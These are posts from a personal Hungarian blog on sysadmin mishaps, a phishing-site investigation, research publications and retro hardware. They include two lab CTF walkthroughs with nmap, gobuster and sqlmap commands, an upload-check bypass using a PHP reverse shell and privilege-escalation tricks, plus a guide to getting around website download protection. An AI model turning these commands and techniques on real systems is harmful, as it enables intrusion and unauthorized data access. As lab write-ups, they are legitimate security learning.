Szépen, udvariasan megírtam, hogy a backupba ők nem írhatnak semmit, azt a biztonsági mentésért felelős program kezeli. De az a sok csábító terabyte! Ott van üresen. És ők nem írhatnak bele! És úgyis csak "rövid időre" kellene.

A válaszom: Nem. Először is, nincs olyan, hogy "rövid idő". Ott fog maradni az idők végezetéig, vagy amíg le nem törlöm. Másrészt a problémák nem arról híresek, hogy megvárják, amíg letelik a "rövid idő". Azonnal beütnek.

Arra kértek, cseréljem meg a backup és a munka tárhelyeket. Kiderült viszont, hogy már most annyira foglalt a munkának fenntartott raid tömb, hogyha azt mind a backup-ra rakom, akkor további adatokat már nem lehetne rámenteni. Tehát a backup nem tudná betölteni a szerepét.

Átnéztem, mi az, ami miatt nem lehet a "munkába" menteni. Tizenkilenc Tb publikusan letölthető nyers adat terpeszkedett ott. Ezt még két éve töltötte le egy munkatárs, azóta a logok szerint rá sem nézett. Igazából ez az az adatszett, ami miatt annak idején hagytam magam rábeszélni, hogy szűntessük meg a backup-ot, mert "rövid időre" kellett a hely.

A legrosszabb hiba az, amit az ember újra elkövet, úgyhogy azt mondtam, tessék tárhelyet vásárolni, vagy szemetet törölni. A backup marad. Biztos nem tetszett nekik, amit mondtam.

Szólj hozzá!

Címkék: rendszergazda

Húsvét előtti meglepetés

2025.04.17. 19:47 Travis.CG

Közeleg a Húsvét. A hallgatók már a vonatjegyeket foglalják a hazaútra, az egyetemi dolgozók a szabadságukkal toldják meg hosszú hétvégét, hogy minél több időt szentelhessenek családjuknak. Mindenki a csokinyulak, sonkák és festett tojások megemelkedett fogyasztására készül. Én meg a Revision-t várom már nagyon. Lankad a figyelem, az emberek gondolatai máshol járnak.

Kik nem pihennek ilyenkor? Természetesen a jelszólopók. Egy ügyes húzással a Húsvét előtti napokra ütemezték az adathalász támadást. Nem akarok hazudni: én is majdnem bedőltem nekik.

A levél szerint le fog járni a jelszavam, de a levélben foglalt link segítségével megtarthatom a régi jelszavamat. Ilyen leveleket tényleg szokott kiküldeni az IT, de ők új jelszót szoktak kérni, nem engedik a régi megtartását! Viszont őszintén megmondom, nem volt kedvem pont ezen a napon jelszót változtatni, egy csomó munkát akartam letudni a tavaszi szünet előtt, nem hiányzott még ez is. Félre is dobtam a levelet, hogy a határidős teendőkkel foglalkozzam.

Viszont nem hagyott nyugodni, hogy miért kell ez a cécó, hogy megtartsam a régi jelszavamat? Újra megnyitottam a levelet és jobban megnéztem. A válasz a kérdésemre a linkben rejlett, ami nem egyetemi domainre mutatott. Ahá, értem már! Utána már feltűnt a megszólítás hiánya, és az is, hogy a feladó egy teljesen másik egyetem munkatársa (ezt elsőre is láttam, csak ezen az egyetemen is alkalmazásban állok, ezért nem kapcsoltam).

A szerver, amire át akartak az adathalászok vinni, már érdekesebb volt. Egy kb. 12 éves brazíliai telemarketinggel kapcsolatos weboldal volt rajta, ahol valószínűleg egy fájlfeltöltési hibát használtak ki a támadók (a nevezetes uploaded_script.php). A könyvtár listázás nem volt kikapcsolva, ezért szépen látszott minden fájl és könyvtár a webszerveren. Legérdekesebb a cgi-bin könyvtár volt, 2013-as dátummal. Nem is tudom, mióta nem láttam cgi-bin könyvtára.

dircontent.png

A támadók készítettek egy alkönyvtárat (bc), feltöltötték a saját kódjukat, kiküldték az adathalász leveleket, majd várták az áldozatokat. A létrehozás dátuma alapján aznap reggel töltötték fel a kódokat, amikor az email-t megkaptam. A felület három részből állt: Egy HTML-ből, ami az adott egyetem levelező rendszerének bejelentkező oldalát utánozta rendkívül részletesen.

phis.png

Ez nem a korábban látott fércművek egyike. Volt még ezen kívül egy PHP kód, és egy szövegfájl (sayee.txt). Ez utóbbi tartalmazta a már ellopott email címeket és jelszavakat. Természetesen mindenféle titkosítás nélkül. A fájl formátuma a következő volt (a benne szereplő adatokat megváltoztattam):

--------------+ FT +--------------nUs3rn@m3: victim1@uni-versity.hunP@55: password123nIP: ---------------------------------------------------------nCity: Region: Country Name: Country Code: ---------------+ FT +--------------nUs3rn@m3: victim2@uni-versity.hunP@55: passwordnIP: ---------------------------------------------------------nCity: Region: Country Name: Country Code:

Nagyon furcsa fájlformátum. Én biztosan valami sokkal struktúráltabb formát választottam volna, hogy könnyebb legyen dolgozni vele. Ez az 'n' karakteres elválasztás nem túl hatékony. Mivel l337 kódot használt, biztos egy nagyon komoly hekker :-)

Viszont felfigyeltem arra, hogy van egy másik könyvtár is (dc), hasonló elnevezésű fájlokkal. Megnéztem az ottani statikus HTML-t, mire a Széchenyi egyetem levelezőrendszerének utánzata jelent meg. Nocsak, nocsak, egy egyetem már nem is elég? Arra számítottak a támadók, hogy a nyuszi két helyről is hoz jelszavakat?

Összeszedtem az információkat, majd írtam a két egyetem helpdesk-jére. Az én egyetemem gyorsan reagált, megköszönték a segítséget, és küldtek egy köremailt, hogy vigyázzanak ezzel a levéllel. A Széchenyiről eddig nem kaptam választ. Akárhogy is, napi jócselekedet kipipálva.

Szólj hozzá!

Címkék: biztonság

Élet a MoonShine berkeiben (2. rész)

2025.04.13. 09:05 Travis.CG

Emlékeztek még az tavalyi Assembly-re készített produkciónkra? Nem? Persze, hiszen nem release-eltük. De miért? Hol is kezdjem?

Amikor elkészült nagyjából a videó, megosztottam a MoonShine tagokkal, és megkérdeztem, kinek lenne kedve zenét készíteni hozzá. Alexmus önszántából, minden külső kényszerítéstől függetlenül jelentkezett. Pár nap alatt készített is egy igen ígéretes zenét, amivel a videó egyharmadát le is fedte. Ennek nagyon örültem, úgy éreztem, végre nem csak egyedül alkotok.

Utána két hónapig nem csinált semmit. Mivel a zene nagyon jó volt, úgy döntöttem, sokkal jobb, ha kihagyjuk az Assembly-t és majd a következő demópartyra elkészül. QBParty szemptemberben, Ultimate Meeting decemberben, és már vége is volt az évnek. A zene a videó 80%-t lefedte. Ebből adódóan a fenti partyk egyikére sem küldtem be.

Azután semmi hír. Kezdtem úgy érezni, a projekt teljesen lehalt. Január, február elrepült. Végül elfogyott a türelmem. Márciusban ultimátumot intéztem Alexmus felé. Nem kértem, hogy fejezze be, nem könyörögtem. Egyszerűen csak megírtam, hogy Revision-ön bemutatom. Pont. Úgy gondoltam, 80% zene elég jó, mástnem a végére rákeverem a zene elejét, és kész.

Őszintén szólva, nem hittem, hogy a zene elkészül. Azt hittem megint össze kell csapni az egészet, ahogy máskor is tettem. Grassnak panaszkodtam, elmeséltem neki milyen hányattatott sorsú is ez a produkció. Nevetve annyit mondott, használjak AI-t mert az megvan pár perc alatt. Ezt nem akartam. Nem azért, mert AI ellenség vagyok, hanem ha már Alexmus ennyi időt beleölt, jár neki, hogy a neve ott legyen a nagy képernyőn. Meg annyi bajom van az AI zenékkel, hogy számomra úgy tűnik, a zene lezárása nem megy még.

A másik ok, hogy a MoonShine-ban valahogy nincs közös munka. Mindenki csinálja a saját vackait, mint a közös pályázaton lévő akadémiai kutatócsoportok. Na jó, ez talán erős hasonlat volt. A MoonShine-ban legalább bemutatják egymásnak a saját cuccaikat, kutatócsoportok ilyenre nem veszik a fáradságot.

A legjobban egyébként az zavart, hogy Alexmus korábban a határidő előtt egy nappal küldte az update-et, amikor már nekem nem lett volna időm berakni a hangsávot, és időzíteni, ha szükség lenne rá. Mit csináljak, ha megint Revision előtt egy nappal odaadja a végleges zenét?

Márciusban történt valami. Elkészült a zene! És tök jó lett! Micsoda megkönnyebbülés volt! A zene tökéletesen passzolt, minden rendben volt vele. Pár helyen a hangerőt kell majd állítani, de egyébként minden rendben vele. Most már az én térfelemen pattog a labda, mert például a feliratokban még QBParty, meg 2024 szerepel.

Talán ez a projekt is ösztönzi a többi tagot, hogy jobban kooperáljanak. Talán egy igazi demócsapatot lehet faragni a MoonShine tagokból. Nem lesz könnyű, de valahol el kell indulni.

Szólj hozzá!

Címkék: demoscene

Billing CTF

2025.04.06. 08:51 Travis.CG

Először feltérképezzük a rendszert a jó öreg nmap-el:

nmap -p- -Pn $IP

Eredményül megkapjuk a 22-es SSH portot, a 80-as webet és a 3306-os porton a MySQL-t. Az adatbázishoz nem lehet csatlakozni, az SSH-hoz még nincs elég információnk, marad a web.

A webes felületen először egy logó jelenik meg, majd átirányít egy bejelentkező felületre. Először végigpróbáltam a könnyű jelszó kombinációkat, hátha szerencsém lesz, de nem volt. A hibaüzenetek semmitmondóak, a forráskódban nincs használható nyom.

Kipróbáltam néhány SQL injection-t, de egyik sem vezetett sikerre, sőt észrevettem, hogy a túl sok próbálkozás után a webes felület végtelen homokórázásba kezd, tehát van valami védelem a tömeges próbálkozással szemben. Ezt erősítette meg, hogy a gobuster rendre elhasalt, ha a könyvtárakat akartam feltérképezni.

Gyakorlatilag az összes általam ismert támadási felületet védték. Vagy mégsem? Feltűnt, hogy a weboldal forráskódja elég bonyolult, sok átirányítás és beállítási lehetőség van benne. Ez valami keretrendszer lesz! Hátha annak van valami hibája.

A keretrendszerek általában feltűntetik a nevüket és a verziószámukat a forráskódban, de ebben az esetben nem találtam semmi használható nyomot. Mi lenne, ha megnézném a logót?

A logót lementette, majd egy képkereséssel megkaptam, hogy ez a MagnusBilling nevű rendszer. Egy gyors keresés az exploitot között:

searchsploit magnus

Semmi. Gyors keresés a weben, mire a Rapid7 weboldalán találtam valamit. Hoppá, a Metasploitban van hozzá exploit. Innentől gyorsan haladtam, követve a leírást a linken. Nemsokára volt konzolom.

A sudo -l szerint a fail2ban-client programot tudjuk futtatni. Mi a fene az a fail2ban? Néhány keresés után kiderült, hogy ez egy olyan program, ami IP-ket tud kitiltani különböző szabályok szerint. Például ha túl sok kérés érkezik. Ezért nem tudtam sokat próbálgatni a weboldalt, és ezért nem ment a gobuster sem.

Találtam sok leírást arról, hogy hogyan lehet root jogokra szert tenni, ha tudjuk szerkeszteni a konfigurációs állományokat. Balszerencsémre én semmit nem tudtam szerkeszteni, csak a fail2ban-client programot futtatni.

A dokumentáció alapján úgy tűnik, mindent be lehet állítani a kliens programból is. Sajnos a legtöbb tutorial arról szólt, hogyan szerkesszük a konfigurációs fájlokat, vagy hogyan tudjuk megszüntetni egy IP tiltását.

Röviden a fail2ban definiált szabályokat, és akciókat, hogy mit kell csinálni, ha egy szabályt megsértenek, majd az akción belül parancsokat, ami a tényleges feladat végrehajtása. Tehát az egyik akciót kell átdefiniálnom, hogy futtasson egy root shellt, ha túl sokszor írok be hibás jelszót a webre. Egyszerűen hangzik.

A konfigurációs fájlban két nagyobb szabály volt. Az egyik a weboldal bejelentkezéseit figyeli, a másik az ssh-ról érkező kéréseket. Az ssh-nál viszont volt egy elírás, amiből arra következtetek, hogy abban az esetben nem tud lefutni az akció.

Ha átírtam az akciót, akkor futási hibát kaptam, ha túl sokszor próbáltam belépni. Tehát valamit felüldefiniáltam, de nem kaptam meg a várt root shell-t. Gondoltam, talán rossz akcióval próbálkoztam, mert lehet akciót definiálni arra is, hogy a bannolás előtt mit futtasson. A vége az lett, hogy teljesen elrontottam a fail2ban-t. Működésképtelenné vált.

Leállítottam a virtuális gépet, és pihentettem a dolgot. Közben elkeztem túrni a netet, hátha találok valamit, hogyan lehet a kliens programmal átírni az akciókat.

Végül ezt találtam. A megoldás nem az volt, hogy átdefiniálok egy akciót, hanem új akciót adok hozzá. Erre a lehetőségre nem gondoltam. Megcsináltam a lépéseket, és már root is voltam.

Szólj hozzá!

Címkék: biztonság

Ne csak a rosszat halljátok

2025.03.30. 11:49 Travis.CG

Eredetileg erről a publikációról nem akartam semmit írni, de sdani kommentje után úgy gondoltam, érdemes megmutatni, hogy nem csak élőhalott kutatások vannak Magyarországon, és én sem csak selejtes vizsgálatokban veszek részt. Szóval van még élet az akadémiai szférában. Egyszerűen csak arról van szó, hogy a kutatások hullámzó tendenciát mutatnak. Ahogy egy sportolónak is van rosszabb éve, úgy vannak rosszabb projektek.

Egy perfekcionista csoport megteheti, hogy a kevésbé ígéretes témákat eltemeti, mi nem vagyunk ilyen szerencsések. Ráadásul mi inkább csak támogatunk egy meglévő kutatást, ritkán vezetjük azt, ezért kisebb ráhatásunk van a folyamatokra.

Kérdezhetitek, akkor erről a cikkról miért nem akartam írni? Nos, mert nem sokat csináltam. Szokásos smCounter2 bűvészkedés volt. Eredetileg úgy éreztem, hogy nincs benne olyan tanúság, ami más posztokban meg nem jelent volna.

Most viszont úgy gondolom, hogy igenis van tanúság. Egyszerűen az, hogy annyira elmerülünk a problémákban, hogy ha nincsenek problémák, akkor azt letudjuk, és rögtön a következő probléma felé fordulunk. Igazából ilyenkor megállhatnánk egy pillanatra, és örülhetnénk annak, hogy minden rendben ment.

Esetleg büszkék lehetnénk rá, hogy elértünk valamit. Mert akármennyire is sulykolja az egyetemi vezetés, hogy minden publikációt össze kell gyűjteni egy Excel táblázatba és villogni vele, hogy 300 D1-es cikk született egy évben, azért tudatosítani kellene azt is, hogy emögött a szám mögött 300 plusz információ van, amiről eddig kevesebbet tudtunk.

Vegyük például ezt a cikket. Leukémiás gyerekek mintáit vizsgáltuk. A szomatikus mutációk nem mutatnak nagy meglepetést, NRAS, KRAS gének romlottak el elsődlegesen. Viszont sikerült kifejleszteni egy olyan diagnosztikai panelt, ami a DNS és RNS adatokat összevetve képes lehet segítséget nyújtani a beteg gyerekek kezeléséhez.

Nyilván ez még nem egy kész eljárás, de egy lépéssel közelebb vihet hozzá. Ennek is lehet örülni, nem csak egy kész, díjnyertes kutatásnak. A pici sikereket is meg kell becsülni.

2 komment

Címkék: filozofálás publikáció

Pontos, jól behatárolt célok

2025.03.16. 18:52 Travis.CG

Megjelent egy újabb publikációnk. Csoda, hogy megjelent. Nem is tudom szavakba önteni, mennyi minden hátráltatta az adatgyűjtést, a vizsgálatokat és a megjelenést, ezért csak egy videóval összegezném a szenvedést, amit átéltünk:

Az egész egy nyúlbetegséggel indult, amiből GWAS-t akartunk csinálni. Az első probléma az volt, hogy nem lehetett pontosan megmondani, melyik állat beteg, mert a tünetek átfedtek egy csomó más betegséggel. Néha a boncolás után derült ki, hogy másban pusztult el az állat, és nem a vizsgálni kívánt betegségben. A nyilvántartás hibás volt, mert a nyúlketrecnél dolgozók nem vették komolyan az állatok jelölését. Olyan is volt, hogy a genom elemzése közben vettem észre, hogy apu nyuszi inkább anyu nyuszi, csak elírták az Excel táblában.

Apropó Excel tábla. A sok adatot mind egyetlen Excelbe vitték fel, ami végül akkorára duzzadt, hogy a legtöbb laptop memóriájában el sem fért. Vagy betöltötte egy részét, és nem tudta rendesen elmenteni, aminek az lett a vége, hogy az adatok egy része eltűnt.

Gyűjtöttünk genomokat, metagenomoka, RNASeq-et, mindent. Majd kiderült, hogy egy részét nem publikálhatjuk, mert valami különleges nyúlfajtából származnak, és a genom közzétételéhez a tenyésztő nem adta áldását. Később egyre inkább az volt az érzésünk, hogy az ipari partnert nem is érdekli az eredmény, ők inkább a termékenységhez köthető vizsgálatokat részesítik előnybe. Az, hogy néhány nyúl megdöglik egy betegségben, az nem számít (persze a pályázatból származó pénzre nem mondtak neme, de miután megkapták, látványosan lecsökkent a segítség, amit nyújtottak).

Az idő csak telt, és lassan kiderült, hogy az összegyűjtött adatokból nem lehet statisztiai módszerekkel meghatározni, hogy milyen genetikai elváltozásokkal asszociál a betegség, mert nincs elég minta.

Közben személyes problémák is felléptek. A megbeszélések személyeskedő hangvételre váltottak, ami szintén nem tett jót a további kooperációnak. A csoportunkból is mentek el a projekten dolgozó emberek, így egyre inkább úgy tűnt, hogy a több évnyi munka mind megy a kukába.

Egyetlen halvány reménysugárnak az tűnt, hogy elfelejtjük az egész betegséget, és azokból a szekvencia adatokból, amelyeket megoszthatunk a tudományos közösséggel, populációgenetikát csinálunk. Mivel a mintagyűjtésnél ez nem volt cél, a különböző nyúl fajták eltérő számban voltak reprezentálva, amit a bírálók teljesen jogosan szóvá is tettek, ezért további fajtákat szórtunk ki a vizsgálatból.

Végül a kézirat döcögősen, de megjelent. A csoportot elhagyó kollégák egy csomót szenvedtek, hogy az új munkahely elvárásai mellett ezzel a kézirattal is haladjanak. Valahogy megoldották. Valahogy sikerült. A pezsgőbontás mégis elmaradt, inkább olyan érzésem van, mintha levethetném a vizes göncöt egy esőbe fulladt kirándulás után. Senkinek nem kívánok ilyen projektet.

1 komment

Címkék: publikáció

Psion Organiser (1. rész)

2025.03.09. 17:32 Travis.CG

Még az egyetem alatt az ökológia tanszéknek segítettem adatfeldolgozó programokat írni, amikor egyik alkalommal átnéztük a tanszék korábbi vezetőjének hátrahagyott vackait. A profról annyit kell tudni, hogy szeretett a kutatásaihoz eszközöket vásárolni, de végül ezeket soha nem használta fel. Bekerültek egy szobába, és többet rájuk sem nézett.

Az új tanszékvezető szerette volna a saját kutatásait hatékonyabbá tenni az eszközökkel. A kacatok között találtunk egy Psion Organiser 2 XP-t. Nagyon megtetszett a bumfordi kis szerkezet, és elhatároztuk, hogy a terepen a befogott állatok viselkedését fogjuk monitorozni vele.

Írtam rá egy kis programot, de végül egy-két próba után feladtuk a terveket, mert annyi paramétert kellett volna rögzíteni, hogy lehetetlen volt emlékezni az összes billentyű kombinációra, ezért visszatértek a spirálfüzethet.

A szerkezet mély nyomokat hagyott bennem. Napokig jártam-keltem a géppel, amíg fejlesztettem rá a programot, és mindig találtam valami ürügyet, hogy a gombokat nyomkodjam. Évekkel később szereztem egy saját példányt, egy LZ 64-t, és most újra elővettem, mert nagy terveim vannak vele.

Először is ez a példány már négy soros kijelzővel rendelkezik. A belső memóriája 64k méretű, ami elég impresszív egy '80-as évekből származó kézi kütyütől. Teljes billentyűzete van, áramforrásként meg egy 9V-os elem szolgál. Saját BASIC-szerű programozási nyelve van, a tetején meg egy 16 tüskés csatlakozó, amivel különböző perifériákat csatlakoztathatunk. Még a 2010-es években is láttam olyan boltot, ahol Psion volt a pénztárgép egy vonalkód olvasóval.

Azóta sok idő telt el. Általában megpróbálok a régi eszközöknek funkciót találni a mai világban, de a Psionnál kudarcot vallottam. Az egész eszöz karakter központú, a bépített billentyűzet használata lassú. Bár sok hasznosnak tűnő program van alapból is a gépen, ezek használatát nagyon megnehezíti, hogy gombokkal kell váltani közöttük. A négy soros, húsz karakter széles képernyő pedig nem kedvez a hosszabb szövegeknek. Ahogy a fenti példa is mutatta, sajnos a készülék legnagyobb ellenfele a papír alapú határidőnapló.

Azokat, akik még manapság is a gép bűvöletében élnek, nem érdekli a funkcionalitás. Néhány ember továbbra is támogatja a gépet, aminek hála sok dokumentáció és programok is elérhetőek hozzá.

psion.jpg

Szólj hozzá!

Címkék: organiser

Visszaállítás után

2025.03.05. 16:43 Travis.CG

Bár többen mondták, hogy az elveszett adatot meg lehet próbálni helyreállítani, az nagyon költséges, és nem hoz 100% sikert, kifizettek valami irdatlan mennyiségű pénzt egy holland cégnek, amelyik azt állította, hogy vissza tudják nyerni az adatokat.

A diszkeket kiszerelték és elpostázták a cégnek, akik vissza is küldték az adatokat néhány USB-s NTFS fájlrendszert tartalmazó adattárolón.

Azt gondolhatnánk, hogy innen már minden csupa napfény és zene, a bioinformatikusok örülhetnek, hogy megmenekültek a kis fájlok. Hehehe, akkor miről írnék bejegyzést?

Szóval az első probléma, hogy a szerveren nincs USB. A második, hogy én távolról menedzselem a rendszert, de ha helyileg ott is lennék, akkor sem léphetek be a szent szerverterembe.

Úgyhogy volt egy nagy megbeszélés, ahol ott volt az informatikai igazgató, a rendszer adminisztrátor, mindenki. Elkezdődött a diskurzus, de jobbnak láttam, ha nem szólok, mert mindjárt az elején olyan vita alakult ki, hogy egyáltalán a kérdéses RAID tömb az most storage, vagy tárhely. A vita végén látthatta az informatikai igazgató, hogy csupa kutyaütő veszi körül, ezért határozottan azt mondta, hogy ezt a problémát nekik kell megoldani, a többiek nem is asszisztálhatnak hozzá.

Gondoltam, most jó kezekben lesz minden. De az akadémiai szférában nagy luxus ez a fajta elbizakodottság.

Eltelt két hónap, és egyre sürgetőbb emaileket kaptam, hogy mikor lesz hozzáférhető az adat. Egy ideig ellenálltam, hogy megkérdezzem az illetékeseket, mert egyrészt USB-n kell visszamásolni terabájtokat, másrészt az informatikai titkárság csak három emberből áll. Rettenetesen le vannak terhelve. Egy idő után viszont kénytelen voltam megkérdezni, hogyan áll a projekt.

Kiderült: sehogy. Még el sem kezdték. Az email után újabb egy héttel kiosztották a feladatot egy külső cég emberének, akivel már dolgoztam együtt. Végül mi ketten (illetve többségében ő) visszamásoltuk az adatokat. Egyébként a folyamatos egyeztetések során hasznos tippeket kaptam, hogy miként lehetne a szervert kicsit tuningolni, mert kiderült, hogy néhány beállításom nem volt éppen a legoptimálisabb. Ezeket nagyon hasznosnak találtam, ez határozottan egy pozitív hozadéka volt az eseményeknek.

Akkor jöhet a pezsgő és a happy end? Nem, mert ez a gyarló világ. Elkezdtem felhaszálni néhány nagyobb FASTQ fájlt a visszaállított adatokból, és az elemző programok rendre elszálltak rajtuk. Olyan hibaüzeneteket kaptam, hogy a szekvencia hosszabb, mint a quality, vagy a szekvencia és a quality nem + jellel van elválasztva.

Rövid nézegetés után kiderült, hogy bár a fájlok neve és mérete pontos, a tartalmuk sok esetben csak nyomokban emlékeztet az eredetire. A fájl eleje még jó, majd egyszer csak bináris szutyokká válik az egész.

Visszagondoltam az elmúlt egy évre, elmerengtem az élet értelmén. Érdekes módon nem érzek dühöt, vagy haragot. Kárörvendést sem. Csak sóhajtottam egyet, és letöröltem mindent, ami használhatatlanná vált.

Szólj hozzá!

Címkék: rendszergazda

Expose CTF

2025.02.23. 16:44 Travis.CG

Ez egy nagyon megkavart CTF volt, sok csapdával és kerülő utakkal. Először a szokásos felderítést végeztem. Első lépésként csak egy gyors keresés, hogy legyen min gondolkodni, amíg a teljes keresés lefut.

nmap -Pn --top-ports 100 $IP
nmap -Pn -p- $IP

Mindkét keresés ugyan azt az eredményt adta.

21/tcp open ftp
22/tcp open ssh
53/tcp open domain
1337/tcp open waste
1883/tcp open mqtt

Mi a fene az a waste? Újabb keresés, hogy részletesebb képet kapjak.

nmap -Sv -A -p 21,22,53,1337,1883 $IP

Oké, a waste egy átverés, Apache fut rajta. Az FTP-be be lehet lépni anoním módon, de nem tartalmaz semmit. A verziószám alapján nincs ismert sebezhetősége. Az 53-as porton Bind fut. Próbálkoztam zone transferrel, de nem volt sikeres. A dig paranccsal játszottam, hátha jön valami információ, de nem kaptam semmi használhatót. Próbálgattam a mosquitto-t, de az is átverésnek tűnt. Marad a webszerver.

Először a könyvtárakat néztem át.

gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://$IP:1337/

Két ígéretes könyvtárat kaptam: /admin és /phpmyadmin. Az admin oldalt felkeresve rögtön egy segítséget találtam: "Biztos, hogy jó admin-t nézel?". Rövid próbálgatás után biztos voltam, hogy rossz admint nézek :-) Tehát a phpmyadmin lesz a befutó. A verziószám szerint 4.9.5-ös verzió fut. Habár van egy SQL injection sebezhetőség ebben a verzióban, az a keresésnél használható, nem a bejelentkezésnél. Kézzel próbálgattam default jelszavakat, de egyik sem vezetett eredményre.

Elkezdtem mindent előről, de csak ugyan azokat a megoldási útvonalakat néztem meg sokadszor is. Elakadtam.

Kénytelen voltam megnézni egy leírást. A gobuster-t kellett volna máshogy futtatni. Egy nagyobb fájllal. Ez eszembe juthatott volna.

gobuster dir -u http://$IP:1337/ -w /usr/share/wordlists/dirb/big.txt

Így mindjárt meglett az /admin_101 könyvtár is. Ha BurpSuit-al megnézzük, mit ad vissza a szerver, láthatjuk, hogy a hibaüzenet mellett egy sql lekérdezés részletét is megkapjuk. Valószínűleg SQL Injection-t kell használni. A phpmyadmin-ból pedig tudjuk, hogy MySQL az adatbázis. Nézzük meg, milyen adatbázisok vannak:

sqlmap -r request.txt --level 5 --risk 3 --dbms mysql --dbs

Az egyik nagyon érdekes, mert expose a neve.

sqlmap -r request.txt --level 5 --risk 3 --dbms mysql -D expose --dump

A request.txt a BurpSuit segítségével elmentett fájl. Tartalmazza a POST paramétereket, cookie-kat, mindent. Az adatbázis tartalmaz két URL-t, egy hash-t, és az admin felhasználó jelszavát. A jelszóval nem megyünk semmire, mert az admin oldal csak statikus szöveget tartalmaz némi JavaScript-el megbolondítva.

A második URL-hez (/upload-cv00101011/index.php) nincs az adatbázisban hash, csak egy megjegyzés, hogy a z-vel kezdődő felhasználó nevével érhetjük el. Hmm, ezt majd később tudjuk használni. Az első URL tartalmaz egy MD5 hash-t, amit a hashes.com-on azonnal törhetünk. A jelszó beírása után egy limitált webshell-t kapunk. Szerencsére a HTML forrásállománya tartalmaz némi segítséget. Nevezetesen nézzük meg a file vagy read paramétereket. Rögtön kiderül, hogy fájlokat tudunk megnézni. Nézzük meg az /etc/passwd-t! Rögtön megvan a z-vel kezdődő felhasználó neve!

Mehetünk a második URL-hez. A felhasználói név beírása után egy képfeltöltéshez jutunk, ami PNG-t vag JPG-t tud feltölteni. Igen ám, de az ellenőrzés csak a böngészőben fut. Ez kikerülhető!

BurpSuit segítségével át kell írni a JavaScript-et, hogy mindig fogadja el a feltöltést, kiterjesztéstől függetlenül, majd feltöltöttem egy php reverz shellt. A HTML-be rejtett módon ott van, hol találjuk a feltöltött fájlokat. Indítsuk el a reverz shellt, és máris limitált módon ugyan, de hozzáférünk a géphez.

A z betűs felhasználó könyvtárában csak egyetlen fájlt tudunk elolvasni, ami a beszédes ssh_creds.txt nevet viseli. Nem is kell többet bajlódni a revers shell-el, mert be tudunk lépni ssh-val. Azért ez mégis csak kényelmesebb, ráadásul el tudjuk olvasni a felhasználó flag.txt-jét.

Sajnos a felhasználó nem tud sudo-zni, crontab nem tartalmaz extra bejegyzést. Viszont a nano suid bit be van állítva. Ezzel meg lehet nyitni a /root/root.txt-t. Győzelem!

3 komment

Címkék: biztonság

Online adat, offline adat

2025.02.15. 17:06 Travis.CG

Az interneten fellelhető adatok egy része könnyen letölthető. Ezek HTML-be vannak ágyazva, esetleg már eleve valami könnyen emészthető fájlként ülnek a szerveren és egy link mutat rájuk. Ebben az esetben a wget vagy curl segítségével simán megszerezhetjük a nekünk kellő információt. Csakhogy egyes tartalmakat a tulajdonosai nem szeretik, ha letöltik. Ilyenkor különböző trükköket vetnek be, hogy a wget kuradcot valljon.

Jó kérdés, hogy amihez jogom van, hogy megnézzem, letölthetem-e? Mert mi van, ha csak ideiglenes hozzáférésem van az adathoz? Akkor ha letöltöm, akkor is tudom nézni, ha már lejárt a hozzáférésem, nem igaz? Az érem másik oldala, hogy nincs mindig net. Milyen jó lenne, ha valamit offline is nézhetnék, amikor jogom van hozzá. Aztán ha lejárt a láthatási idő, szépen becsülettel letörölném, mert én olyan vagyok.

Ezért amit most leírok, azt mindenki becsülettel használja, és ne warezolásra. Ahogy mondani szokás, amit leírok, azt csak "edukációs céllal teszem". Sőt, ahol tudom, azt is leírom, hogyan lehet megvédeni az adatokat.

Az első védelmi vonal, hogy különböző cookie-kkal ellenőrzik, hogy a felhasználó jogosult-e a tartalom letöltésére (például bejelentkezett-e). Habár a wget-nek is beállíthatunk cookie-kat, azok beállítása körülményes. Szerencsére a böngészők segítenek. Ha megvan a vágyott link, amit szeretnénk letölteni, de lusták vagyunk a cookie-kat beállítani, akkor a Developers módban a Network fülön az adott elemre ha jobb egégombbal kattintunk, akkor van egy "copy as cURL" (Windows-osoknak copy as Powershell), és kimásolja nekünk az egész linket parancssorral együtt. Az élet szép.

A második védelmi vonal, hogy igyekeznek elrejteni az adatot. Az adatok csak ritkán vannak szépen HTML tag-ek közé téve. A legtöbbször JavaScripttel vannak megbolondítva, vagyis a JavaScript módosítja a DOM-ot. Ha csak ész nélkül letöltjük az oldalt, kapunk egy obfuszkált kódot, de adatot nem.

Itt is a böngésző Developers módjának a segítségére vagyunk utalva. Az Inspector fülön láthatjuk a HTML melyik része felelős az adott struktúra megjelenítéséért. Szépen odanavigálunk, ami nekünk kell, jobb egérgomb, és a menüből a Screenshot node-al képként elmenthetjük a weboldal azon, és csak azon részét. Reklámok és idegesítő bannerek nélkül csak a lényeget kapjuk.

Ez ellen úgy lehet védekezni, hogy a tartalmat több darabra vágjuk, és a felhasználó interakciójától függően mindig csak egy részét mutatjuk. A manuális munka dögunalom, az emberek el fogják unni a developers-ben a munkát és feladják.

Az eddig bemutatott módszerek nem működnek például videomegosztó oldalakon. Ott előszeretettel használnak iframe-et is a JavaScript mellett. Egyrészt a videó beágyazható a segítségével más oldalra, másrészt nehezebb letölteni. De a Develper Tools még ebben az esetben is segítségünkre lehet. A videó ugyanis több darabban van, folyamatosan kell töltögetni az egyes részleteket. Ezt kell kihasználni!

A Network fülön láthatjuk, milyen kommunikáció zajlik a böngésző és a szerver között. A videoadat pedig folyamatosan töltődik. Itt egy hibát lehet elkövetni: az egyes részeket megszámozzák, méghozzá az adatok sorrendjében. Ha az URL-ek egy logikus sorrend szerint következnek, akkor lehet rá írni egy for ciklust és wget-el máris letölthetjük az egészet. Például:

for i in `seq 0 200`
do
  wget https://server/34342-werwer-32r423/chunk_$i.mp4
done

Utána meg ffmpeg-el összefűzzük a darabokat.

Ezt úgy lehet megakadályozni, hogy minden egyes darab egyedi, a többi darab alapján megjósolhatatlan azonosítót kap. Nincs stabil URL, hanem minden egyes bejelentkezésnél egyedi URL-t generálnak szerver oldalon. A nagyobb tartalomszolgáltatók így is csinálják.

Úgy tűnik, a kézi módszer az egyetlen, amivel megszerezhetjük a JavaScript bástyákkal körbevett adatot? Semmi esély rá, hogy automatizáljuk a letöltést? Hiszen úgy tűnik, a böngésző az egyetlen platform, ami képes megjeleníteni a tartalmakat, miután iframe és JavaScript hegyeken kell átverekedni magunkat.

Igen, a böngésző az egyetlen, ami képes erre, ezért a böngészőt kell programozni. Azért nem kell megijedni, nincs szükség, hogy a semmiből írjunk egy új böngészőt. A Firefox és a Chrome is futtatható headless módban, ami annyit jelent, hogy nem klikkeléssel vezéreljük, hanem szkriptből.

